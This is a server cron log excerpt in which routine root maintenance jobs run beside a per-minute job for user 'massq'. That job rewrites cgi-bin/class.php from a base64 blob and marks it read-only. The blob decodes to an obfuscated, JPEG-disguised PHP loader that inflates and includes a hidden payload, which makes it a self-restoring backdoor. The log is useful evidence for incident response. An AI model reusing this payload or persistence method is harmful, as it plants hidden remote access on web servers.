Sep  5 15:58:01 server CROND[10118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:59:01 server CROND[10485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:59:01 server CROND[10486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:59:01 server CROND[10487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:00:01 server CROND[10862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:00:01 server CROND[10865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:00:01 server CROND[10866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:00:01 server CROND[10873]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 16:00:01 server CROND[10874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:00:01 server CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:00:01 server CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:00:01 server CROND[10872]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 16:00:01 server CROND[10878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:00:01 server CROND[10869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:01:01 server CROND[11700]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 16:01:01 server CROND[11701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:01:01 server CROND[11703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:01:01 server CROND[11704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:01:01 server run-parts(/etc/cron.hourly)[11700]: starting 0anacron
Sep  5 16:01:01 server run-parts(/etc/cron.hourly)[11721]: finished 0anacron
Sep  5 16:02:01 server CROND[12180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:02:01 server CROND[12181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:02:01 server CROND[12182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:03:01 server CROND[12579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:03:01 server CROND[12580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:03:01 server CROND[12581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:04:01 server CROND[12962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:04:01 server CROND[12963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:04:01 server CROND[12964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:05:01 server CROND[13333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:05:01 server CROND[13337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:05:01 server CROND[13342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:05:01 server CROND[13340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:05:01 server CROND[13341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:05:01 server CROND[13345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:05:01 server CROND[13343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:05:01 server CROND[13344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:06:01 server CROND[14174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:06:01 server CROND[14175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:06:01 server CROND[14176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:07:01 server CROND[14536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:07:01 server CROND[14537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:07:01 server CROND[14538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:08:01 server CROND[15004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:08:01 server CROND[15005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:08:01 server CROND[15006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:09:01 server CROND[15431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:09:01 server CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 16:09:01 server CROND[15433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:09:01 server CROND[15434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:10:01 server CROND[15807]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:10:01 server CROND[15810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
